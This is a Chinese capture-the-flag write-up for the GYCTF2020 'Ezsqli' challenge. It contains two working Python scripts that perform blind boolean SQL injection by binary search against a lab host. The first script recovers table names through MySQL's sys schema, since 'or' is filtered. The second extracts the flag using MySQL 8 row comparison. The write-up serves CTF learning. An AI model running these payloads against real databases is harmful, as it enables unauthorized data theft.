[GYCTF2020]Ezsqli 这道题还挺有趣的,用到了无列名注入以及比较的方式,如果有些不清楚的,可以先看看我的这两篇文章(写得不是很好,见谅),这样应该对这两种方式都能有些了解 http://blog.o3ev.cn/index.php/archives/29/ http://blog.o3ev.cn/index.php/archives/41/
好像用手机访问挺慢的,电脑访问应该就流畅了
回到题目上来 对注入框进行fuzz,过滤掉了or,也就是说不能用information_schema的库 在有了上面两篇文章的基础上,我就直接给脚本了
import requests
url='http://5c532294-0b1e-43d9-ae85-c8f7f23451d9.node4.buuoj.cn:81/index.php'
f=''
for i in range(1,200):
min=32
max=127
mid=(min+max)//2
while min<max:
payload = "1^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),{},1))>{})^1".format(str(i), str(mid))
data={
"id":payload
}
s=requests.post(url=url,data=data)
if "Nu1L" in s.text:
min=mid+1
else:
max=mid
mid=(min+max)//2
f+=chr(mid)
print(f)
成功跑出表名,剩下的就是用mysql8特性去比较就完事了,这是跑flag的脚本:
import requests
url='http://5c532294-0b1e-43d9-ae85-c8f7f23451d9.node4.buuoj.cn:81/index.php'
f=''
for i in range(0,200):
min=32
max=127
mid=(min+max)//2
while min<max:
payload = "1^((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))"
dd=f+chr(mid)
ff=payload.format(dd)
data={
"id":ff
}
s=requests.post(url=url,data=data)
if "Nu1L" in s.text:
min=mid+1
else:
max=mid
mid=(min+max)//2
f+=chr(mid-1)
print(f.lower())
成功跑出flag
|